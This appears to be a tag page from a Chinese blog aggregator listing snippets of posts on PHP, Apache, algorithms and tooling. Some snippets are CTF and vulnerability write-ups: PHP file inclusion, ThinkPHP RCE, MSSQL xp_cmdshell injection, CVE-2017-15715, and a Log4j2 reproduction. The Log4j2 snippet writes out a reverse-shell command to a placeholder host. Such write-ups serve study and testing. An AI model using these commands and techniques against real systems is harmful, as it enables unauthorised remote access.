小记apache php

CTFer成长记录——CTF之Web专题·攻防世界-Web_php_include

一、题目链接 https://adworld.xctf.org.cn/challenges/list?rwNmOdr=1691398818171 二、解法步骤 本题依旧是文件包含,但是这题不同, while (strstr($page, "php://")) { $page=str_replace( ......
Web_php_include Web include 专题 世界

CTFer成长记录——CTF之Web专题·攻防世界-php_rce

一、题目链接 https://adworld.xctf.org.cn/challenges/list?rwNmOdr=1691398818171 二、解法步骤 RCE意思是(Remote Code Execution),远程代码执行漏洞。这里题目涉及到thinkphp5的框架,那么就可能有对应的漏洞 ......
php_rce 专题 世界 CTFer CTF

CTFer成长记录——CTF之Web专题·攻防世界-Web_php_unserialize

一、题目链接 https://adworld.xctf.org.cn/challenges/list 二、解法步骤 本题考察的是反序列化,反序列化的题都需要审计php代码,步骤也比较固定。 <?php if (isset($_GET['var'])) { $var = base64_decode($ ......

php多维数组自定义排序 uasort()

对数组进行排序 PHP 有一些用来排序数组的函数, 这个文档会把它们列出来。 主要区别有: - 有些函数基于 [array](mk:@MSITStore:C:\Users\Administrator\Desktop\php手册2015.chm::/res/language.types.array.h ......
数组 uasort php

php中计算二维数组中某一元素之和

``` [0] => array(5){ ["id"] => string(2) "11" ["name"] => string(5) "1.jpg" ["suffix"] => string(3) "jpg" ["url"] => string(29) "./Uploads/1 ......
之和 数组 元素 php

php 无限级分类,超级简单的无限级分类,支持输出树状图

返回一维数组 ``` //无限级分类 function GetTree($arr, $pid = 0, $step = 0) { static $tree; foreach ($arr as $key => $val) { if ($val['pid'] == $pid) { $name = iss ......
php

并查集小记

## 前言 考前复建一下经典知识点,补充一下带权并查集和扩展域并查集。 ## 分析 #### 普通并查集 先看一个经典问题: 有 $n$ 个数,$n$ 个集合,每个数一开始对应一个集合,有两种操作: `1 x y` 合并 $x$ 和 $y$ 所在的集合。 `2 x y` 询问 $x,y$ 是否在同一 ......
小记

二分图小记

$\sf{definition}$ 对于一个图 $G=(V,E)$,若能将 $G$ 分为两个子图 $G_1=(V_1,E_1),G_2=(V_2,E_2)$,且满足 $E_1=E_2=\emptyset,V_1\cap V_2=\emptyset,V_1 \cup V_2=V$,那么这个图就是一个* ......
小记

新一代开源流数据湖平台Apache Paimon入门实操-下

上一篇对Apache Paimon有了基础了解,本身则主要通过实操方式进一步加深理解,具备沉淀后续投入使用的基础知识;进行数据插入和更新操作,基于批和流式多种查询方式如时间旅行和增量查询,并了解相关系统表的查看,最后MySQL和基于Kafka(通过Canal对MySQL数据库实现变更捕获)的CDC集... ......
源流 新一代 数据 Apache Paimon

Apache Spark

.NET for Apache Spark™ |大数据分析 (microsoft.com) ......
Apache Spark

静态编译 PHP 8 系列、PHP7.4 、PHP7.3

静态编译PHP运行时 文档说明: 只记录关键的地方; 发布时间: 2023-08-07 备注: >> macos 环境下不需要启动容器环境,直接构建即可 >> [ PHP 原生构建选项文档](https://github.com/swoole/swoole-cli/blob/build_native ......
PHP PHP7 静态

php 规范的注释

/** * @name 名字 * @abstract 申明变量/类/方法 * @access 指明这个变量、类、函数/方法的存取权限 * @author 函数作者的名字和邮箱地址 * @category 组织packages * @copyright 指明版权信息 * @const 指明常量 * @ ......
注释 php

php://input输入流详解

php://input输入流详解 对于`php://input`介绍,PHP官方手册文档有一段话对它进行了很明确地概述。 `php://input allows you to read raw POST data. It is a less memory intensive alternative ......
input php

Apache HTTPD换行解析漏洞(CVE-2017-15715)

### Apache HTTPD 换行解析漏洞(CVE-2017-15715)【项目中遇到】 Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页,其**2.4.0~2.4.29**版本中存在一个解析漏洞,在解析PHP时,**1.php\x0A将按照PHP后缀进行解 ......
漏洞 Apache 15715 HTTPD 2017

多项式小记

先粘个 $\rm NTT$ 和 $\rm FFT$ 的 [板子](https://www.luogu.com.cn/paste/yst8dup3)。 ```cpp inline void times(LL *f,LL *g,int n,int lim){ int kn=initr(n); NTT(f ......
多项式 小记

PHP利用正则回溯次数限制绕过某些安全限制

案例题目代码 <?php function is_php($data){ return preg_match('/<\?.*[(`;?>].*/is', $data); } <?php eval() ​ if(!is_php($input)) { // fwrite($f, $input); ... ......
正则 次数 PHP

utools插件生活小记今日提交发布审核中

生活小记是一款集日常记事,待办,小工具等功能于一身,努力打造小而美的笔记类插件,希望大家会喜欢! ......
小记 插件 utools

php简明手册(1)

[TOC] # 安装 - 基于linux ```bash sudo dnf install php ``` 安装postgresqlf支持 ```bash sudo dnf install php-pgsql* ``` - 基于源码编译 ```bash tar zxf php-x.x.x cd .. ......
手册 php

[maven]java.lang.NoSuchMethodError: org.apache.maven.model.validation.DefaultModelValidator: method 'void <init>()' not found

# Maven异常 #### 环境 idea版本: 2020.1.3 maven版本: 3.8.5 #### 问题描述 在idea中加入maven配置时,idea一直报出java.lang.NoSuchMethodError: org.apache.maven.model.validation.De ......

Mssql手工注入执行命令小记

文章写于2021-04-08,首发于https://www.anquanke.com/post/id/237031#h2-6 前言 本次渗透通过某处SQL注入点进行源码分析,并手工利用xp_cmdshell进行了命令执行。 初现 在某个晴朗夏日午后,闲来无事想测试,这不,马上就掏出xray扫描到了一 ......
小记 手工 命令 Mssql

php反序列化

serialize() 函数用于序列化对象或数组,并返回一个字符串。 unserialize()反序列化,将字符串转化为对象。 通常见到调用外部文件,然后需要通过调用某个函数来执行最终得到flag。常见函数如下: ......
序列 php

码云gitee,利用PHP脚本拉取实现自动部署到服务器

前提:本地与服务器均已安装git,并且项目初始化已完成。 Webhook添加,我的码云 -> 点击相应项目A -> 管理-> WebHooks 设置 -> 添加;具体填写内容如下图所示 1.第一步,进入到添加页面 2.填写相关内容 3.gitee设置webhook完成 编写PHP脚本,不多说,直接帖 ......
脚本 服务器 gitee PHP

JetBrains PhpStorm 2023.2 (macOS, Linux, Windows) - 高效智能的 PHP IDE

JetBrains PhpStorm 2023.2 (macOS, Linux, Windows) - 高效智能的 PHP IDE 请访问原文链接:,查看最新版。原创作品,转载请保留出处。 作者主页:[sysin.org](https://sysin.org) JetBrains PhpStorm ......
JetBrains PhpStorm Windows 智能 2023.2

python爬虫学习小记——lxml板块

python爬虫学习小记——lxml板块 lxml是python的一个解析库,支持HTML和XML的解析,支持XPath解析方式,而且解析效率非常高。 XPath,全称XML Path Language,即XML路径语言,它是一门在XML文档中查找信息的语言,它最初是用来搜寻XML文档的,但是它同样 ......
爬虫 小记 板块 python lxml

python爬虫学习小记——request模块

要学习爬虫我们首先要了解requests这个模块 Python requests 模块 Python requests 是一个常用的 HTTP 请求库,可以方便地向网站发送 HTTP 请求,并获取响应结果。 requests 模块比 urllib 模块更简洁。 使用 requests 发送 HTTP ......
爬虫 小记 模块 request python

php实现文件夹的上传和下载

​ 前段时间做视频上传业务,通过网页上传视频到服务器。 视频大小 小则几十M,大则 1G+,以一般的HTTP请求发送数据的方式的话,会遇到的问题:1,文件过大,超出服务端的请求大小限制;2,请求时间过长,请求超时;3,传输中断,必须重新上传导致前功尽弃; 解决方案: 1,修改服务端上传的限制配置;N ......
文件夹 文件 php

PHP+Apache服务器+帝国CMS

#### win10 环境搭建 ##### 1.简易安装参考菜鸟教程,链接: ##### 2.详细安装 1. ##### Apache 服务器安装:Apache 是C语言实现的,专门用来提供HTTP服务;特性:简单、速度快、性能稳定、可配置(代理) 2.1.1、主要用于解析静态文本,并发性能高,侧重 ......
服务器 Apache PHP CMS

网络流 & 二分图小记

# 网络流的定理与性质 ### 增广路定理 加了反向边之后网络流可以以任意顺序增广,增广路不存在时一定为最大流。 ### 最大流最小割定理 网络的最大流等于最小 $S-T$ 割。 从线性规划的角度看最大流与最小割互为对偶。 ### 增量加边 由于有增广路定理,在对网络流加边后,只要再跑一次网络流算法 ......
小记 网络 amp

使用php或js生成条形码、二维码

最近要开发一个打印物品铭牌标签的页面,从DB里面调出信息,打印出带n个条形码(水平和竖直方向都有)的12*10cm的标签,这种应用以前接触的少,特意研究记录下。 要打印非标准纸张,首先需要在目标打印机上新建纸张类型,规格设置为12*10cm,步骤如下: 设置-设备-打印机和扫描仪-打印服务器属性-创 ......
条形 条形码 php

CVE-2021-44228 Apache log4j2远程代码执行漏洞

漏洞复现 验证是否存在apache log4j2漏洞 https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0 反弹shell bash -i >& /dev/tcp/ip/port 0>&1 将此命令进行javarunti ......
漏洞 代码 Apache log4j2 44228